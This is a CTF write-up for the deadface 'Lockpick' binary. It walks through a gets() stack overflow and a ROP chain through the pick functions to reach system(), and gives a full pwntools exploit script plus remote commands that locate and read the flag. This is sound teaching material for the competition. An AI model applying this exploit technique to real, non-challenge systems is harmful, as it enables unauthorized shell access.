Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnEasy

Lockpick Challenge

CTF writeup for Lockpick Challenge from deadface

//Lockpick Challenge

>Challenge Summary

  • Binary: lockpick (ELF 64-bit, statically positioned at 0x400000, NX enabled, no stack canaries)
  • Objective: Exploit the provided binary to obtain shell access and retrieve the remote flag deadface{Y0U_R0PP1Ck_1T}.

>Reconnaissance & Static Analysis

  1. Initial triage

    bash
    file lockpick
    checksec --file=lockpick
    strings lockpick | head

    Key observations:

    • Non-PIE binary (0x400000 base) simplifies ROP gadget selection.
    • Stack canaries disabled, so classic stack overflow viable.
    • NX enabled, so shellcode injection is blocked; ROP required.
  2. Disassembly (objdump -d lockpick | less):

    • main calls vuln, prints ASCII art, and checks five global pin variables before invoking system(shell).
    • vuln uses gets on a 0x40-byte stack buffer, enabling overflow.
    • Functions pick1..pick5 set individual pins, with dependency ordering enforced:
      • pick3 → sets pin3
      • pick5 requires pin3
      • pick4 requires pin5
      • pick1 requires pin4
      • pick2 requires pin1 and copies the real /bin/sh into the shell global ![[Pasted image 20251026083742.png]]
  3. Gadget discovery (ROPgadget --binary lockpick):

    • Only notable gadgets: ret (0x40101a) and leave; ret plus the function epilogues.
    • No pop rdi; ret, so we must rely on existing function prologue/epilogue logic to align the stack before system.

>Exploitation Strategy

Goal: Redirect control flow after vuln to sequentially invoke pick3, pick5, pick4, pick1, pick2, then return to main at the point just after vuln (0x401407). Once all pins equal 1, main will call system(shell).

Building the ROP Chain

  • Buffer overflow layout: 64 bytes for the buffer + 8 bytes saved RBP + successive return addresses.
  • Sequence of returns:
    1. pick3 (0x401301)
    2. pick5 (0x401366)
    3. pick4 (0x401321)
    4. pick1 (0x40125e)
    5. pick2 (0x4012a3)
    6. ret alignment gadget (0x40101a) to keep rsp 16-byte aligned when entering main.
    7. main + 0x1d (0x401407) to land just after the vuln() call.
  • Post-chain: fake saved RBP and exit@plt to cleanly terminate after the shell exits.

Local Payload Generation

Example Python snippet used during prototyping:

python
import struct

chain = [
	0x401301,  # pick3
	0x401366,  # pick5
	0x401321,  # pick4
	0x40125e,  # pick1
	0x4012a3,  # pick2
	0x40101a,  # ret (stack alignment)
	0x401407,  # resume in main post-vuln
]

payload = b"A" * 64
payload += b"B" * 8
for addr in chain:
	payload += struct.pack('<Q', addr)
payload += struct.pack('<Q', 0x4242424242424242)  # fake saved RBP
payload += struct.pack('<Q', 0x401080)            # exit@plt

with open('lockpick_files/payload.bin', 'wb') as f:
	f.write(payload)

Final Exploit Script

lockpick_files/exploit.py automates both local and remote exploitation. Key features:

  • Non-interactive command execution via --cmd arguments.
  • Automatic stack manipulation to set all pins and reach system(shell).
  • Optional --host/--port switches for remote targets.
python
import argparse
from pathlib import Path

from pwn import *

context.update(arch="amd64", os="linux")

parser = argparse.ArgumentParser(description="Exploit the lockpick binary")
parser.add_argument("--host", help="Remote host to target")
parser.add_argument("--port", type=int, default=9999, help="Remote port")
parser.add_argument("--cmd", action="append", help="Command to run in the spawned shell (repeatable)")
args = parser.parse_args()

binary_path = Path(__file__).with_name("lockpick")
elf = ELF(str(binary_path))

pick4 = elf.symbols['pick4']
pick1 = elf.symbols['pick1']
pick2 = elf.symbols['pick2']
pick3 = elf.symbols['pick3']
pick5 = elf.symbols['pick5']
main_after_vuln = elf.symbols['main'] + 0x1d

ret_gadget = 0x40101a
exit_plt = elf.plt['exit']

payload = b"A" * 64 + b"B" * 8
for addr in [pick3, pick5, pick4, pick1, pick2, ret_gadget, main_after_vuln]:
	payload += p64(addr)
payload += p64(0x4242424242424242)
payload += p64(exit_plt)

io = remote(args.host, args.port) if args.host else process(str(binary_path))
io.sendline(payload)
banner = io.recv(timeout=1)
if banner:
	print(banner.decode(errors="ignore"), end="")

if args.cmd:
	for command in args.cmd:
		io.sendline(command.encode())
	if args.cmd[-1].lower() != "exit":
		io.sendline(b"exit")
	output = io.recvall(timeout=4)
	if output:
		print(output.decode(errors="ignore"), end="")
	io.close()
else:
	io.interactive()

>Remote Exploitation Walkthrough

  1. Enumerate file locations

    bash
    python exploit.py --host env01.deadface.io --port 9999 --cmd "find / -name 'flag*' 2>/dev/null"

    Output revealed /home/ctf/flag.txt.

  2. Retrieve the flag

    bash
    python exploit.py --host env01.deadface.io --port 9999 --cmd "cat /home/ctf/flag.txt"

    Result: deadface{Y0U_R0PP1Ck_1T}

>Lessons Learned

  • Minimal gadget availability requires creative chaining of existing program logic (here, leveraging main to call system).
  • Ensuring 16-byte stack alignment before glibc calls is crucial when gadgets are scarce; a simple ret gadget solved crashes within posix_spawn internals.
  • Incorporating an automated command runner simplifies verification and repeatability, especially against remote targets with limited interaction windows.

>Flag

deadface{Y0U_R0PP1Ck_1T}